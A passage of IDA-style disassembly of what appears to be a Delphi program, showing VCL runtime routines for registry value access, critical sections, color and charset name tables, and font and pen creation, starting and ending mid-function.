		pop	edi
		pop	esi
		pop	ebx
		retn
sub_400145A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_400145D4	proc near

var_14		= byte ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	edi, ecx
		mov	ebp, edx
		mov	esi, eax
		mov	edx, ebp
		mov	eax, esi
		call	sub_4001457C
		mov	ebx, eax
		test	ebx, ebx
		jle	short loc_4001463D
		mov	eax, edi
		mov	ecx, ebx
		xor	edx, edx
		call	sub_40004974
		push	ebx
		lea	eax, [esp+18h+var_14]
		push	eax
		mov	eax, [edi]
		call	sub_40004D48
		mov	ecx, eax
		mov	edx, ebp
		mov	eax, esi
		call	sub_400146B4
		cmp	[esp+14h+var_14], 1
		jz	short loc_4001461D
		cmp	[esp+14h+var_14], 2
		jnz	short loc_40014634


loc_4001461D:				; CODE XREF: sub_400145D4+41j
		mov	eax, [edi]
		call	sub_40004D48
		call	sub_4000815C
		mov	edx, eax
		mov	eax, edi
		call	sub_40004F74
		jmp	short loc_40014644
; ---------------------------------------------------------------------------


loc_40014634:				; CODE XREF: sub_400145D4+47j
		mov	eax, ebp
		call	sub_400140B4
		jmp	short loc_40014644
; ---------------------------------------------------------------------------


loc_4001463D:				; CODE XREF: sub_400145D4+18j
		mov	eax, edi
		call	sub_40004884


loc_40014644:				; CODE XREF: sub_400145D4+5Ej
					; sub_400145D4+67j
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_400145D4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4001464C	proc near		; CODE XREF: sub_400145A4+26p

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ecx
		mov	edi, edx
		mov	ebx, eax
		movzx	eax, [ebp+arg_0]
		call	sub_400140F4
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		push	esi
		push	0
		mov	eax, edi
		call	sub_40004D48
		push	eax
		mov	eax, [ebx+4]
		push	eax
		call	sub_400064E8	; RegSetValueExA
		test	eax, eax
		jz	short loc_400146AB
		mov	[ebp+var_C], edi
		mov	[ebp+var_8], 0Bh
		lea	eax, [ebp+var_C]
		push	eax
		push	0
		mov	ecx, off_4001AFCC
		mov	dl, 1
		mov	eax, ds:off_40013FEC
		call	sub_4000B128
		call	sub_400042E4


loc_400146AB:				; CODE XREF: sub_4001464C+39j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_4001464C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400146B4	proc near		; CODE XREF: sub_400145D4+38p

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		mov	[ebp+var_4], eax
		lea	eax, [ebp+arg_4]
		push	eax
		push	edi
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		mov	eax, esi
		call	sub_40004D48
		push	eax
		mov	eax, [ebx+4]
		push	eax
		call	sub_400064E0	; RegQueryValueExA
		test	eax, eax
		jz	short loc_4001470C
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], 0Bh
		lea	eax, [ebp+var_C]
		push	eax
		push	0
		mov	ecx, off_4001B0D4
		mov	dl, 1
		mov	eax, ds:off_40013FEC
		call	sub_4000B128
		call	sub_400042E4


loc_4001470C:				; CODE XREF: sub_400146B4+32j
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		call	sub_40014124
		mov	edx, [ebp+arg_0]
		mov	[edx], al
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_400146B4	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 1
dword_40014730	dd 30h,	0FFFFFFFFh, 1, 31h					; .data:4001AAA4o

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40014740	proc near		; DATA XREF: .text:400183A8o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_4001477C
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4001F300
		jnz	short loc_4001476E
		mov	eax, offset off_4001AAA0
		mov	ecx, 2
		mov	edx, ds:off_40001000
		call	sub_40005314


loc_4001476E:				; CODE XREF: sub_40014740+17j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40014783


loc_4001477B:				; CODE XREF: sub_40014740+41j
		retn
; ---------------------------------------------------------------------------


loc_4001477C:				; DATA XREF: sub_40014740+6o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4001477B
; ---------------------------------------------------------------------------


loc_40014783:				; CODE XREF: sub_40014740:loc_4001477Bj
					; DATA XREF: sub_40014740+36o
		pop	ebp
		retn
sub_40014740	endp

; ---------------------------------------------------------------------------
		align 4
off_40014788	dd offset dword_4001478C ; DATA	XREF: .itext:40019378r
dword_4001478C	dd 43540601h, 726F6C6Fh, 4, 0FFFFFF80h,	408D7Fh
					; DATA XREF: .text:off_40014788o
off_400147A0	dd offset dword_400147A4 ; DATA	XREF: .itext:4001938Cr
dword_400147A4	dd 46540C01h, 43746E6Fh, 73726168h, 17465h, 0FF000000h
					; DATA XREF: .text:off_400147A0o
		dd 90000000h
off_400147BC	dd offset dword_40014808 ; DATA	XREF: .text:4001484Co
					; .itext:40019303o ...
		dd 6 dup(0)
		dd offset dword_40014808
		dd offset dword_40014810
		dd 24h
		dd offset off_4000101C
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_400148CC
dword_40014808	dd 0FFFF0001h						; .text:400147D8o
		dd offset nullsub_7
dword_40014810	dd 65525410h, 72756F73h, 614D6563h, 6567616Eh, 408D72h
					; DATA XREF: .text:400147DCo
off_40014824	dd offset dword_40014870 ; DATA	XREF: .itext:4001932Do
		dd 6 dup(0)
		dd offset dword_40014870
		dd offset dword_40014878
		dd 24h
		dd offset off_400147BC
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_400148CC
dword_40014870	dd 0FFFF0001h						; .text:40014840o
		dd offset loc_4001490C
dword_40014878	dd 72425415h, 52687375h, 756F7365h, 4D656372h, 67616E61h
					; DATA XREF: .text:40014844o
		dd 0C08B7265h, 0D2845653h, 0C4830874h, 0F692E8F0h, 0DA8BFFFEh
		dd 8966F08Bh, 468D204Eh, 31E85008h, 8BFFFF1Dh, 74DB84C6h
		dd 0F6CEE80Fh, 8F64FFFEh, 5, 0CC48300h,	5B5EC68Bh, 408DC3h

; =============== S U B	R O U T	I N E =======================================



sub_400148CC	proc near		; DATA XREF: .text:40014804o
					; .text:4001486Co
		push	ebx
		push	esi
		call	sub_40003FD8
		mov	ebx, edx
		mov	esi, eax
		lea	eax, [esi+8]
		push	eax
		call	sub_40006518	; RtlDeleteCriticalSection
		test	bl, bl
		jle	short loc_400148EB
		mov	eax, esi
		call	sub_40003F80


loc_400148EB:				; CODE XREF: sub_400148CC+16j
		pop	esi
		pop	ebx
		retn
sub_400148CC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_400148F0	proc near		; CODE XREF: sub_40014F8C+3Fp
					; sub_400151D0+1Ap ...
		add	eax, 8
		push	eax
		call	sub_40006520	; RtlEnterCriticalSection
		retn
sub_400148F0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400148FC	proc near		; CODE XREF: sub_40014F8C+1EEp
					; sub_400151D0+80p ...
		add	eax, 8
		push	eax
		call	sub_400065E8	; RtlLeaveCriticalSection
		retn
sub_400148FC	endp

; ---------------------------------------------------------------------------
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
		align 4


loc_4001490C:				; DATA XREF: .text:40014874o
		cmp	byte ptr [edx+1Dh], 0
		jz	short locret_4001491A
		lea	eax, [edx+18h]
		call	sub_4000C970

locret_4001491A:			; CODE XREF: .text:40014910j
		retn
; ---------------------------------------------------------------------------
		align 4
dword_4001491C	dd 0FFFFFFFFh, 7, 6C426C63h, 6B6361h, 0FFFFFFFFh, 8, 614D6C63h
					; DATA XREF: .data:4001AADCo
		dd 6E6F6F72h, 0
dword_40014940	dd 0FFFFFFFFh, 7, 72476C63h, 6E6565h, 0FFFFFFFFh, 7, 6C4F6C63h
					; DATA XREF: .data:4001AAECo
		dd 657669h, 0FFFFFFFFh,	6, 614E6C63h, 7976h, 0FFFFFFFFh
		dd 8, 75506C63h, 656C7072h, 0
dword_40014984	dd 0FFFFFFFFh, 6, 65546C63h, 6C61h, 0FFFFFFFFh,	6, 72476C63h
					; DATA XREF: .data:4001AB0Co
		dd 7961h, 0FFFFFFFFh, 8, 69536C63h, 7265766Ch, 0
dword_400149B8	dd 0FFFFFFFFh, 5, 65526C63h, 64h, 0FFFFFFFFh, 6, 694C6C63h
					; DATA XREF: .data:4001AB24o
		dd 656Dh, 0FFFFFFFFh, 8, 65596C63h, 776F6C6Ch, 0
dword_400149EC	dd 0FFFFFFFFh, 6, 6C426C63h, 6575h, 0FFFFFFFFh,	9, 75466C63h
					; DATA XREF: .data:4001AB3Co
		dd 69736863h, 61h, 0FFFFFFFFh, 6, 71416C63h, 6175h, 0FFFFFFFFh
		dd 7, 68576C63h, 657469h, 0FFFFFFFFh, 0Ch, 6F4D6C63h, 4779656Eh
		dd 6E656572h, 0
dword_40014A48	dd 0FFFFFFFFh, 9, 6B536C63h, 756C4279h,	65h, 0FFFFFFFFh
					; DATA XREF: .data:4001AB64o
		dd 7, 72436C63h, 6D6165h, 0FFFFFFFFh, 9, 654D6C63h, 61724764h
		dd 79h,	0FFFFFFFFh, 0Eh, 63416C63h, 65766974h, 64726F42h
		dd 7265h, 0FFFFFFFFh, 0Fh, 63416C63h, 65766974h, 74706143h
		dd 6E6F69h, 0FFFFFFFFh,	0Eh, 70416C63h,	726F5770h, 6170536Bh
		dd 6563h, 0FFFFFFFFh, 0Ch, 61426C63h, 72676B63h, 646E756Fh
		dd 0
dword_40014AE0	dd 0FFFFFFFFh, 9, 74426C63h, 6361466Eh,	65h, 0FFFFFFFFh
					; DATA XREF: .data:4001AB9Co
		dd 0Eh,	74426C63h, 6769486Eh, 67696C68h, 7468h,	0FFFFFFFFh
		dd 0Bh,	74426C63h, 6168536Eh, 776F64h, 0FFFFFFFFh, 9, 74426C63h
		dd 7865546Eh, 74h, 0FFFFFFFFh, 0Dh, 61436C63h, 6F697470h
		dd 7865546Eh, 74h, 0FFFFFFFFh, 9, 65446C63h, 6C756166h
		dd 74h,	0FFFFFFFFh, 17h, 72476C63h, 65696461h, 6341746Eh
		dd 65766974h, 74706143h, 6E6F69h, 0FFFFFFFFh, 19h, 72476C63h
		dd 65696461h, 6E49746Eh, 69746361h, 61436576h, 6F697470h
		dd 6Eh,	0FFFFFFFFh, 0Ah, 72476C63h, 65547961h, 7478h, 0FFFFFFFFh
		dd 0Bh,	69486C63h, 696C6867h, 746867h, 0FFFFFFFFh, 0Fh
		dd 69486C63h, 696C6867h, 54746867h, 747865h, 0FFFFFFFFh
		dd 0Ah,	6F486C63h, 67694C74h, 7468h, 0FFFFFFFFh, 10h, 6E496C63h
		dd 69746361h, 6F426576h, 72656472h, 0
dword_40014C14	dd 0FFFFFFFFh, 11h, 6E496C63h, 69746361h, 61436576h, 6F697470h
					; DATA XREF: .data:4001AC04o
		dd 6Eh,	0FFFFFFFFh, 15h, 6E496C63h, 69746361h, 61436576h
		dd 6F697470h, 7865546Eh, 74h, 0FFFFFFFFh, 8, 6E496C63h
		dd 6B426F66h, 0
dword_40014C64	dd 0FFFFFFFFh, 0Ah, 6E496C63h, 65546F66h, 7478h, 0FFFFFFFFh
					; DATA XREF: .data:4001AC1Co
		dd 6, 654D6C63h, 756Eh,	0FFFFFFFFh, 9, 654D6C63h, 6142756Eh
		dd 72h,	0FFFFFFFFh, 0Fh, 654D6C63h, 6948756Eh, 696C6867h
		dd 746867h, 0FFFFFFFFh,	0Ah, 654D6C63h,	6554756Eh, 7478h
		dd 0FFFFFFFFh, 6, 6F4E6C63h, 656Eh, 0FFFFFFFFh,	0Bh, 63536C63h
		dd 6C6C6F72h, 726142h, 0FFFFFFFFh, 0Ch,	44336C63h, 68536B44h
		dd 776F6461h, 0
dword_40014D04	dd 0FFFFFFFFh, 9, 44336C63h, 6867694Ch,	74h, 0FFFFFFFFh
					; DATA XREF: .data:4001AC5Co
		dd 8, 69576C63h, 776F646Eh, 0
dword_40014D2C	dd 0FFFFFFFFh, 0Dh, 69576C63h, 776F646Eh, 6D617246h, 65h
					; DATA XREF: .data:4001AC6Co
		dd 0FFFFFFFFh, 0Ch, 69576C63h, 776F646Eh, 74786554h, 0

; =============== S U B	R O U T	I N E =======================================



sub_40014D5C	proc near		; CODE XREF: sub_400151D0+57p
					; sub_40015270+9Fp ...
		test	eax, eax
		jge	short locret_40014D6B
		and	eax, 0FFh
		push	eax
		call	sub_40006720	; GetSysColor

locret_40014D6B:			; CODE XREF: sub_40014D5C+2j
		retn
sub_40014D5C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40014D6C	proc near		; DATA XREF: .itext:4001936Eo
		push	33h
		mov	ecx, offset dword_4001AAD8
		call	sub_40013658
		retn
sub_40014D6C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40014D7C	proc near		; DATA XREF: .itext:40019373o
		push	33h
		mov	ecx, offset dword_4001AAD8
		call	sub_40013618
		retn
sub_40014D7C	endp

; ---------------------------------------------------------------------------
		align 4
dword_40014D8C	dd 0FFFFFFFFh, 0Ch, 49534E41h, 4148435Fh, 54455352h, 0
					; DATA XREF: .data:4001AC7Co
dword_40014DA4	dd 0FFFFFFFFh, 0Fh, 41464544h, 5F544C55h, 52414843h, 544553h
					; DATA XREF: .data:4001AC84o
		dd 0FFFFFFFFh, 0Eh, 424D5953h, 435F4C4Fh, 53524148h, 5445h
		dd 0FFFFFFFFh, 0Bh, 5F43414Dh, 52414843h, 544553h, 0FFFFFFFFh
		dd 10h,	46494853h, 53494A54h, 4148435Fh, 54455352h, 0
dword_40014E04	dd 0FFFFFFFFh, 0Fh, 474E4148h, 5F4C5545h, 52414843h, 544553h
					; DATA XREF: .data:4001ACA4o
		dd 0FFFFFFFFh, 0Dh, 41484F4Ah, 48435F42h, 45535241h, 54h
		dd 0FFFFFFFFh, 0Eh, 33324247h, 435F3231h, 53524148h, 5445h
		dd 0FFFFFFFFh, 13h, 4E494843h, 42455345h, 5F354749h, 52414843h
		dd 544553h, 0FFFFFFFFh,	0Dh, 45455247h,	48435F4Bh, 45535241h
		dd 54h,	0FFFFFFFFh, 0Fh, 4B525554h, 5F485349h, 52414843h
		dd 544553h, 0FFFFFFFFh,	0Eh, 52424548h,	435F5745h, 53524148h
		dd 5445h, 0FFFFFFFFh, 0Eh, 42415241h, 435F4349h, 53524148h
		dd 5445h, 0FFFFFFFFh, 0Eh, 544C4142h, 435F4349h, 53524148h
		dd 5445h, 0FFFFFFFFh, 0Fh, 53535552h, 5F4E4149h, 52414843h
		dd 544553h, 0FFFFFFFFh,	0Ch, 49414854h,	4148435Fh, 54455352h
		dd 0
		dd 0FFFFFFFFh, 12h
aEasteurope_cha	db 'EASTEUROPE_CHARSET',0 ; DATA XREF: .data:4001ACFCo
		align 4
dword_40014F2C	dd 0FFFFFFFFh, 0Bh, 5F4D454Fh, 52414843h, 544553h
					; DATA XREF: .data:4001AD04o
; ---------------------------------------------------------------------------


loc_40014F40:				; DATA XREF: .itext:40019382o
		push	11h
		mov	ecx, offset dword_4001AC78
		call	sub_40013658
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_40014F50:				; DATA XREF: .itext:40019387o
		push	11h
		mov	ecx, offset dword_4001AC78
		call	sub_40013618
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40014F60	proc near		; CODE XREF: sub_40014F8C+187p
		push	ebx
		mov	ebx, eax
		movzx	eax, byte ptr [ebx+0Eh]
		cmp	al, byte_4001AAB6
		jnz	short loc_40014F82
		mov	eax, offset byte_4001AAB7
		lea	edx, [ebx+0Fh]
		movzx	ecx, byte ptr [eax]
		inc	ecx
		call	sub_40003510
		jz	short loc_40014F86


loc_40014F82:				; CODE XREF: sub_40014F60+Dj
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40014F86:				; CODE XREF: sub_40014F60+20j
		mov	al, 1
		pop	ebx
		retn
sub_40014F60	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40014F8C	proc near		; CODE XREF: sub_400155A4+6p

var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= byte ptr -2Ah
var_29		= byte ptr -29h
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= byte ptr -26h
var_25		= byte ptr -25h
var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFB0h
		push	ebx
		push	esi
		push	edi
		xor	edx, edx
		mov	[ebp+var_50], edx
		mov	[ebp+var_4C], edx
		mov	[ebp+var_48], edx
		mov	[ebp+var_44], edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_400151A8
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebx+10h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+8], 0
		jnz	loc_40015187
		mov	eax, ds:dword_4001F350
		call	sub_400148F0
		xor	edx, edx
		push	ebp
		push	offset loc_40015180
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+8], 0
		jnz	loc_40015168
		mov	eax, [ebp+var_4]
		mov	eax, [eax+14h]
		mov	[ebp+var_40], eax
		xor	eax, eax
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_4]
		mov	eax, [eax+18h]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_4]
		test	byte ptr [eax+1Dh], 1
		jz	short loc_40015017
		mov	[ebp+var_30], 2BCh
		jmp	short loc_4001501E
; ---------------------------------------------------------------------------


loc_40015017:				; CODE XREF: sub_40014F8C+80j
		mov	[ebp+var_30], 190h


loc_4001501E:				; CODE XREF: sub_40014F8C+89j
		mov	eax, [ebp+var_4]
		test	byte ptr [eax+1Dh], 2
		setnz	al
		mov	[ebp+var_2C], al
		mov	eax, [ebp+var_4]
		test	byte ptr [eax+1Dh], 4
		setnz	al
		mov	[ebp+var_2B], al
		mov	eax, [ebp+var_4]
		test	byte ptr [eax+1Dh], 8
		setnz	al
		mov	[ebp+var_2A], al
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax+1Eh]
		cmp	al, 1
		jnz	short loc_40015065
		cmp	byte_4001AAB6, 1
		jz	short loc_40015065
		movzx	eax, byte_4001AAB6
		mov	[ebp+var_29], al
		jmp	short loc_40015068
; ---------------------------------------------------------------------------


loc_40015065:				; CODE XREF: sub_40014F8C+C2j
					; sub_40014F8C+CBj
		mov	[ebp+var_29], al


loc_40015068:				; CODE XREF: sub_40014F8C+D7j
		lea	eax, [ebp+var_44]
		mov	edx, [ebp+var_4]
		add	edx, 1Fh
		call	sub_40004AE8
		mov	esi, [ebp+var_44]
		test	esi, esi
		jz	short loc_40015082
		sub	esi, 4
		mov	esi, [esi]


loc_40015082:				; CODE XREF: sub_40014F8C+EFj
		mov	edi, offset aDefault ; "Default"
		test	edi, edi
		jz	short loc_40015090
		sub	edi, 4
		mov	edi, [edi]


loc_40015090:				; CODE XREF: sub_40014F8C+FDj
		push	edi
		mov	eax, offset aDefault ; "Default"
		call	sub_40004D48
		push	eax
		push	esi
		lea	eax, [ebp+var_48]
		mov	edx, [ebp+var_4]
		add	edx, 1Fh
		call	sub_40004AE8
		mov	eax, [ebp+var_48]
		call	sub_40004D48
		push	eax
		push	1
		push	400h
		call	sub_400064F8	; CompareStringA
		sub	eax, 2
		test	eax, eax
		jnz	short loc_400150E1
		lea	eax, [ebp+var_4C]
		mov	edx, offset byte_4001AAB7
		call	sub_40004AE8
		mov	edx, [ebp+var_4C]
		lea	eax, [ebp+var_24]
		call	sub_400081B8
		jmp	short loc_400150FA
; ---------------------------------------------------------------------------


loc_400150E1:				; CODE XREF: sub_40014F8C+139j
		lea	eax, [ebp+var_50]
		mov	edx, [ebp+var_4]
		add	edx, 1Fh
		call	sub_40004AE8
		mov	edx, [ebp+var_50]
		lea	eax, [ebp+var_24]
		call	sub_400081B8


loc_400150FA:				; CODE XREF: sub_40014F8C+153j
		mov	eax, off_4001B0C8
		cmp	dword ptr [eax], 1
		jnz	short loc_40015120
		call	sub_40015918
		cmp	al, 80h
		jnz	short loc_40015120
		mov	eax, [ebp+var_4]
		add	eax, 10h
		call	sub_40014F60
		test	al, al
		jz	short loc_40015120
		mov	[ebp+var_29], 80h


loc_40015120:				; CODE XREF: sub_40014F8C+176j
					; sub_40014F8C+17Fj ...
		mov	[ebp+var_26], 0
		cmp	[ebp+var_34], 0
		jz	short loc_40015130
		mov	[ebp+var_28], 7
		jmp	short loc_40015134
; ---------------------------------------------------------------------------


loc_40015130:				; CODE XREF: sub_40014F8C+19Cj
		mov	[ebp+var_28], 0


loc_40015134:				; CODE XREF: sub_40014F8C+1A2j
		mov	[ebp+var_27], 0
		mov	eax, ebx
		call	sub_400151C8
		dec	al
		jz	short loc_40015149
		dec	al
		jz	short loc_4001514F
		jmp	short loc_40015155
; ---------------------------------------------------------------------------


loc_40015149:				; CODE XREF: sub_40014F8C+1B5j
		mov	[ebp+var_25], 2
		jmp	short loc_40015159
; ---------------------------------------------------------------------------


loc_4001514F:				; CODE XREF: sub_40014F8C+1B9j
		mov	[ebp+var_25], 1
		jmp	short loc_40015159
; ---------------------------------------------------------------------------


loc_40015155:				; CODE XREF: sub_40014F8C+1BBj
		mov	[ebp+var_25], 0


loc_40015159:				; CODE XREF: sub_40014F8C+1C1j
					; sub_40014F8C+1C7j
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_40006678	; CreateFontIndirectA
		mov	edx, [ebp+var_4]
		mov	[edx+8], eax


loc_40015168:				; CODE XREF: sub_40014F8C+59j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40015187


loc_40015175:				; CODE XREF: sub_40014F8C+1F9j
		mov	eax, ds:dword_4001F350
		call	sub_400148FC
		retn
; ---------------------------------------------------------------------------


loc_40015180:				; DATA XREF: sub_40014F8C+47o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40015175
; ---------------------------------------------------------------------------


loc_40015187:				; CODE XREF: sub_40014F8C+34j
					; sub_40014F8C+1F3j
					; DATA XREF: ...
		mov	eax, [ebp+var_4]
		mov	ebx, [eax+8]
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_400151AF


loc_4001519A:				; CODE XREF: sub_40014F8C+221j
		lea	eax, [ebp+var_50]
		mov	edx, 4
		call	sub_400048A8
		retn
; ---------------------------------------------------------------------------


loc_400151A8:				; DATA XREF: sub_40014F8C+1Co
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4001519A
; ---------------------------------------------------------------------------


loc_400151AF:				; CODE XREF: sub_40014F8C+21Bj
					; DATA XREF: sub_40014F8C+209o
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40014F8C	endp

; ---------------------------------------------------------------------------
		dd 0FFFFFFFFh, 7
aDefault	db 'Default',0          ; DATA XREF: sub_40014F8C:loc_40015082o
					; sub_40014F8C+105o

; =============== S U B	R O U T	I N E =======================================



sub_400151C8	proc near		; CODE XREF: sub_40014F8C+1AEp
		mov	eax, [eax+10h]
		movzx	eax, byte ptr [eax+1Ch]
		retn
sub_400151C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400151D0	proc near		; CODE XREF: sub_400155D0+6p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		mov	eax, [eax+10h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_4001525D
		mov	eax, ds:dword_4001F354
		call	sub_400148F0
		xor	eax, eax
		push	ebp
		push	offset loc_40015256
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_4001523E
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax+1Ch]
		movzx	eax, word_4001AD08[eax*2]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_4]
		mov	eax, [eax+18h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_4]
		mov	eax, [eax+14h]
		call	sub_40014D5C
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_40006688	; CreatePenIndirect
		mov	edx, [ebp+var_4]
		mov	[edx+8], eax


loc_4001523E:				; CODE XREF: sub_400151D0+34j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4001525D


loc_4001524B:				; CODE XREF: sub_400151D0+8Bj
		mov	eax, ds:dword_4001F354
		call	sub_400148FC
		retn
; ---------------------------------------------------------------------------


loc_40015256:				; DATA XREF: sub_400151D0+22o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4001524B
; ---------------------------------------------------------------------------


loc_4001525D:				; CODE XREF: sub_400151D0+13j
					; sub_400151D0+85j
					; DATA XREF: ...
		mov	eax, [ebp+var_4]
		mov	eax, [eax+8]
		mov	esp, ebp
		pop	ebp
		retn
sub_400151D0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40015268	proc near		; CODE XREF: sub_40015600+32p
					; sub_40015600+56p
		mov	eax, [eax+10h]
		mov	eax, [eax+14h]
		retn
sub_40015268	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40015270	proc near		; CODE XREF: sub_40015600+6p
					; sub_40015600+14p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	eax, [eax+10h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+8], 0
		jnz	loc_40015345
		mov	eax, ds:dword_4001F358
		call	sub_400148F0
		xor	edx, edx
		push	ebp
		push	offset loc_4001533E
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_40015326
		mov	eax, [ebp+var_4]
		mov	eax, [eax+18h]
		test	eax, eax
		jz	short loc_400152D2
		mov	[ebp+var_10], 3
		mov	dl, 1
		mov	ecx, [eax]
		call	dword ptr [ecx+70h]
		mov	eax, [ebp+var_4]
		mov	eax, [eax+18h]
		mov	edx, [eax]
		call	dword ptr [edx+68h]
		mov	[ebp+var_8], eax
		jmp	short loc_40015309
; ---------------------------------------------------------------------------


loc_400152D2:				; CODE XREF: sub_40015270+42j
		xor	eax, eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax+1Ch]
		mov	edx, eax
		sub	dl, 1
		jb	short loc_400152E9
		jz	short loc_400152F0
		jmp	short loc_400152F9
; ---------------------------------------------------------------------------


loc_400152E9:				; CODE XREF: sub_40015270+73j
		xor	eax, eax
		mov	[ebp+var_10], eax
		jmp	short loc_40015309
; ---------------------------------------------------------------------------


loc_400152F0:				; CODE XREF: sub_40015270+75j
		mov	[ebp+var_10], 1
		jmp	short loc_40015309
; ---------------------------------------------------------------------------


loc_400152F9:				; CODE XREF: sub_40015270+77j
		mov	[ebp+var_10], 2
		and	eax, 7Fh
		sub	eax, 2
		mov	[ebp+var_8], eax


loc_40015309:				; CODE XREF: sub_40015270+60j
					; sub_40015270+7Ej ...
		mov	eax, [ebp+var_4]
		mov	eax, [eax+14h]
		call	sub_40014D5C
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	eax
